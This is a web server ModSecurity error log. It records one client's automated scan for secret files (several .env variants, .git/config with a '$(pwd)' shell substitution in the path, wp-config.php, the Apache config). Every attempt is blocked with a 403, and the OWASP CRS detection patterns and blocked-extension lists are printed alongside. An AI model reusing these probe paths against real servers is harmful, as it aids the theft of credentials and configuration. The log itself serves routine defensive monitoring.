[Thu Mar 12 21:45:18.507135 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /$(pwd)/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.git/config"] [unique_id "abMl3vv0eBlLRFPxh3wEMwAAAAM"]
[Thu Mar 12 21:45:18.507343 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.git/config"] [unique_id "abMl3vv0eBlLRFPxh3wEMwAAAAM"]
[Thu Mar 12 21:45:18.507472 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.git/config"] [unique_id "abMl3vv0eBlLRFPxh3wEMwAAAAM"]
[Thu Mar 12 21:45:19.630276 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abMl37bFPdu4mU61us0xGwAAAAY"]
[Thu Mar 12 21:45:19.630706 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abMl37bFPdu4mU61us0xGwAAAAY"]
[Thu Mar 12 21:45:19.630825 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abMl37bFPdu4mU61us0xGwAAAAY"]
[Thu Mar 12 21:45:19.698946 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "abMl37bFPdu4mU61us0xHgAAAAY"]
[Thu Mar 12 21:45:19.699361 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "abMl37bFPdu4mU61us0xHgAAAAY"]
[Thu Mar 12 21:45:19.699513 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "abMl37bFPdu4mU61us0xHgAAAAY"]
[Thu Mar 12 21:45:19.767315 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Warning. Pattern match "(?i:(?:^[\\\\W\\\\d]+\\\\s*?(?:alter\\\\s*(?:a(?:(?:pplication\\\\s*rol|ggregat)e|s(?:ymmetric\\\\s*ke|sembl)y|u(?:thorization|dit)|vailability\\\\s*group)|c(?:r(?:yptographic\\\\s*provider|edential)|o(?:l(?:latio|um)|nversio)n|ertificate|luster)|s(?:e(?:rv(?:ice|er)| ..." at ARGS_NAMES:*update*. [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "471"] [id "942360"] [msg "Detects concatenated basic SQL injection and SQLLFI attempts"] [data "Matched Data: *update found within ARGS_NAMES:*update*: *update*"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/package-updates/*"] [unique_id "abMl37bFPdu4mU61us0xIQAAAAY"]
[Thu Mar 12 21:45:19.767429 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/package-updates/*"] [unique_id "abMl37bFPdu4mU61us0xIQAAAAY"]
[Thu Mar 12 21:45:19.767564 2026] [:error] [pid 2656559] [client 185.177.72.13:17308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/package-updates/*"] [unique_id "abMl37bFPdu4mU61us0xIQAAAAY"]
[Thu Mar 12 21:45:21.209872 2026] [authz_core:error] [pid 2656559] [client 185.177.72.13:17308] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/*
[Thu Mar 12 21:45:23.225389 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "abMl49YP7IfwyGfz0ydeRwAAAAA"]
[Thu Mar 12 21:45:23.225582 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "abMl49YP7IfwyGfz0ydeRwAAAAA"]
[Thu Mar 12 21:45:23.225717 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "abMl49YP7IfwyGfz0ydeRwAAAAA"]
[Thu Mar 12 21:45:23.270547 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abMl49YP7IfwyGfz0ydeSQAAAAA"]
[Thu Mar 12 21:45:23.270741 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abMl49YP7IfwyGfz0ydeSQAAAAA"]
[Thu Mar 12 21:45:23.270858 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abMl49YP7IfwyGfz0ydeSQAAAAA"]
[Thu Mar 12 21:45:23.315745 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abMl49YP7IfwyGfz0ydeSwAAAAA"]
[Thu Mar 12 21:45:23.315952 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abMl49YP7IfwyGfz0ydeSwAAAAA"]
[Thu Mar 12 21:45:23.316079 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abMl49YP7IfwyGfz0ydeSwAAAAA"]
[Thu Mar 12 21:45:23.360952 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abMl49YP7IfwyGfz0ydeTQAAAAA"]
[Thu Mar 12 21:45:23.361148 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abMl49YP7IfwyGfz0ydeTQAAAAA"]
[Thu Mar 12 21:45:23.361266 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abMl49YP7IfwyGfz0ydeTQAAAAA"]
[Thu Mar 12 21:45:23.451771 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abMl49YP7IfwyGfz0ydeUQAAAAA"]
[Thu Mar 12 21:45:23.451983 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abMl49YP7IfwyGfz0ydeUQAAAAA"]
[Thu Mar 12 21:45:23.452104 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abMl49YP7IfwyGfz0ydeUQAAAAA"]
[Thu Mar 12 21:45:23.474150 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abMl49YP7IfwyGfz0ydeUgAAAAA"]
[Thu Mar 12 21:45:23.474364 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abMl49YP7IfwyGfz0ydeUgAAAAA"]
[Thu Mar 12 21:45:23.474503 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abMl49YP7IfwyGfz0ydeUgAAAAA"]
[Thu Mar 12 21:45:23.496601 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abMl49YP7IfwyGfz0ydeUwAAAAA"]
[Thu Mar 12 21:45:23.496802 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abMl49YP7IfwyGfz0ydeUwAAAAA"]
[Thu Mar 12 21:45:23.496922 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abMl49YP7IfwyGfz0ydeUwAAAAA"]
[Thu Mar 12 21:45:24.021484 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abMl5NYP7IfwyGfz0ydeagAAAAA"]
[Thu Mar 12 21:45:24.021680 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abMl5NYP7IfwyGfz0ydeagAAAAA"]
[Thu Mar 12 21:45:24.021823 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abMl5NYP7IfwyGfz0ydeagAAAAA"]
[Thu Mar 12 21:45:24.089369 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "abMl5NYP7IfwyGfz0ydebQAAAAA"]
[Thu Mar 12 21:45:24.089566 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "abMl5NYP7IfwyGfz0ydebQAAAAA"]
